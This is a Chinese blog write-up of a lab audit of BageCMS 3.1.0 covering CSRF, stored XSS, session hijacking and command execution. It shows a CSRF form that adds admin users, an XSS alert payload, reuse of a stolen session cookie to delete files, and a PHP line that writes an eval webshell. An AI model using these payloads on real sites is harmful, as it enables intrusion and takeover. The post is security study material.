写点什么

审计挖掘之 CNVD 通用漏洞

发布于: 3 小时前

前言本次内容对 cnvd 通用漏洞库中的 bagecms 进行一个代码审计和漏洞复现,对 cnvd 漏洞库里的几处漏洞进行复现挖掘,发现几处新的漏洞点。本次实验为靶机环境。本次内容仅用于学习和研究,不可用于违法违规途径。一、环境http://61.155.169.167:81/uploads/userup/1870/bagecms.zip上下载bagecms的源代码,将其放下phpstudy软件下,就能够搭建起一个 web 环境,然后导入.sql 数据库备份文件到本地的数据库管理器。自动化安装环境,访问http://xxx.com/bagecms3.1.0/upload//index.php?r=install,然后点击下一步即可。



配置数据库的信息(服务器名称、数据库名称、数据库用户、数据库密码),即可安装成功






【2021最新整理网络安全\渗透测试/安全学习资料(全套视频、大厂面经、精品手册。必备工具包)获取】


二、CMS 框架审计下图为下载下来的源码文件,主要的是 upload 文件夹下面的index.php



分析一下index.php,因为网站的路径结构为/upload/index.php?r=xxx


$f ramework = dirname(__FILE__) . '/f ramework/yiilite.php';$config = dirname(__FILE__) . '/protected/config/main.php';define('WWWPATH', str_replace(array('\\', '\\\\'), '/', dirname(__FILE__)));define('DS', DIRECTORY_SEPARATOR);require_once ($f ramework);Yii::createWebApplication($config)->run();
复制代码


1.config 获取存放当前的文件名和绝对路径/protected/config/main.php3.define('WWWPATH', str_replace(array('', '\'), '/', dirname(FILE)))获取网站的根目录 4.define('DS', DIRECTORY_SEPARATOR);定义目录分隔符 5.require_once (config)->run();Yii 框架启动 webApplication 对象





分析一下yiilite.php,在index.php中包含了该文件


1.yiilite.php 将常用的类打包在一起,减少了 include 的调用 2.去掉了这些代码中的 trace()调用和注释 3.yiilite.php 减少被引用的文件数量并避免执行跟踪语句





分析一下main.phpYii框架启动对象的时候调用了这个文件定义了多个数组来存放数据,如 gii 模块存放密码和主机的 ip 地址、db 模块存放数据库的信息等主要介绍urlManager模块


'urlManager'=>array( //'urlFormat'=>'path', 'showS criptName'=>true, //'urlSuffix'=>'.html', 'rules'=>array( 'post/<id:\d+>/*'=>'post/show', 'post/<id:\d+>_<title:\w+>/*'=>'post/show', 'post/catalog/<catalog:[\w-_]+>/*'=>'post/index', 'page/show/<name:\w+>/*'=>'page/show', 'special/show/<name:[\w-_]+>/*'=>'special/show', '<controller:\w+>/<action:\w+>'=>'<controller>/<action>', )
复制代码


1.借助 YII 框架的路由管理组件,实现 url 规则的多样化 2.<controller:\w+>//这是指匹配控制器 3.<action:\w+>//这是指匹配控制器内的方法 4.<pid:\d+>//这里指获取相应的请求参数的 key





三、CSRF 跨站请求伪造攻击 CSRF 攻击原理当你登录一个正常网站时,浏览器记录下了你的 cookie 信息,攻击者盗用了你的身份,以你的名义发送恶意请求(对服务器来说这个请求合法),完成了攻击者所期望的操作。



1.正常用户或管理员打开浏览器,访问受信任网站,输入用户名和密码请求登录网站;网站发送 cookie 信息返回给浏览器,正常用户可以发送正常请求到网站



2.攻击者构造含有攻击性代码的网页,制造网页过程如下(1)在网站的添加用户模块,选择添加用户,并且输入添加用户的各个参数提交,然后利用burpsuite抓包获取请求包,请求包中会携带访问的 post 请求数据信息,点击右键--->相关工具--->CSRF POC生成,即可成功 csrf 的 poc



(2)将其 poc(HTML 代码格式)复制下来,自己新建一个 html 文本,然后复制进去,如果是在真实环境的话可以通过 QQ、邮箱、个人 VPS 等途径,让用户去点击这个 html 文本,就可以执行添加用户的操作(3)分析 POC 构造,<form action="http://网站IP/bagecms3.1.0/upload/index.php?r=admini/admin/create" method="POST">,访问正常网站,并且将 hidden 隐藏的请求数据通过 submit 方式提交,这里我的 value 参数值都是 1



3.用户未退出网站之前,在同一浏览器中,打开一个网页访问 CSRF POC 制作的网站(这里可以自己修饰一下,让用户有去想点击这个页面的想法),点击之后就会网站会以为是用户的正常请求,从而添加一个用户



4.浏览器在接收到这些攻击性代码后,根据 CSRF POC 网站的请求,在用户不知情的情况下携带 Cookie 信息,向正常网站发出请求。正常网站并不知道该请求其实是由 CSRF POC 网站发起的,所以会根据用户的 Cookie 信息以用户的权限处理该请求,导致来自 CSRF POC 网站的恶意代码被执行。





四、XSS 跨站脚本攻击该攻击存在于后台的站点设置模块,通过构造 XSS 脚本攻击能够实现弹窗功能



因为后台站点设置的内容要回显在页面上,所以等会查看弹窗的位置也在前台页面查看



代码分析,全局搜索到footer.php文件,发现联系我们模块代码都是<?php echo xxx ?>这种格式,于是我们构造简单的 XSS 语句<S cript>a lert(111)</S cript>,然后被footer.php执行后就会 echo 输出这个语句


<p class="home"><?php echo $this->_conf['_address']?></p> <p class="telephone"><?php echo $this->_conf['_telephone']?></p> <p class="telephone"><?php echo $this->_conf['_fax']?></p> <p class="mobile"><?php echo $this->_conf['_mobile']?></p> <p class="email"><?php echo $this->_conf['admin_email']?></p>
复制代码



存储型 XSS 执行成功,因为是在站点设置 POST 提交数据到数据库的,所以每次访问首页都会有一个弹窗。





五、会话劫持攻击会话劫持攻击原理正常用户访问网站后会分发一个session,然后攻击者通过某种方法获取用户的session,通过修改自身的session去访问正常用户的数据。



1.目标用户登录网站,登录成功后,该用户会得到一个会话seesion来保持会话



2.攻击者通过某种手段获取sessionXSS、暴力破解、枚举session、钓鱼等),然后修改请求包,即可对网站进行会话劫持Cookie: PHPSESSID=v7iomrvcfjq6uhnjduv8h6dit3



3.当攻击者获得会话session后,即可在不登录的情况下对网站后台进行操作(该session保持不变)对文件进行任意删除在一个没有登录的浏览器进行测试,此时抓包获取的session值为Cookie: PHPSESSID=qtc31bohagca38o88kuife81j6



在不登录的情况下,对网站进行删除文件操作,下面为删除前的页面回显



在不登录的情况下抓包修改cookie的值为Cookie: PHPSESSID=v7iomrvcfjq6uhnjduv8h6dit3,然后请求包为删除文件的内容,点击发送数据包



任意文件删除成功,回显效果如下





六、命令执行漏洞网站模块修改的代码配置没有对文件的内容进行过滤和检测,导致添加恶意代码进去的时候能够直接解析执行



在后台站点的网站模块下存放着网站的配置文件,其中question/index.php存放的是留言板的配置文件,在question/index.php末尾加上恶意代码,将一句话木马存放到文件su.php中,如果不存在则创建su.php<?php file_put_contents("su.php","<?php @e val(\$_POST[cmd]);?>");?>



访问路径http://xxx.com/bagecms3.1.0/upload/index.php?r=question/index,让代码执行生效,生成木马文件su.php



访问木马文件su.php,然后通过post请求提交参数代码获取数据



通过蚁剑工具连接木马,获取webshell



总结在本次的代码审计和复现的过程中,首先是去看 cnvd 漏洞库查看存在哪些漏洞,然后再去访问可能存在的漏洞点去尝试挖掘,最后挖掘出上面这些漏洞点,并且附上挖掘思路过程。本篇文章仅做学习和研究,不可作违法违规的操作。【资料获取】

用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
审计挖掘之CNVD通用漏洞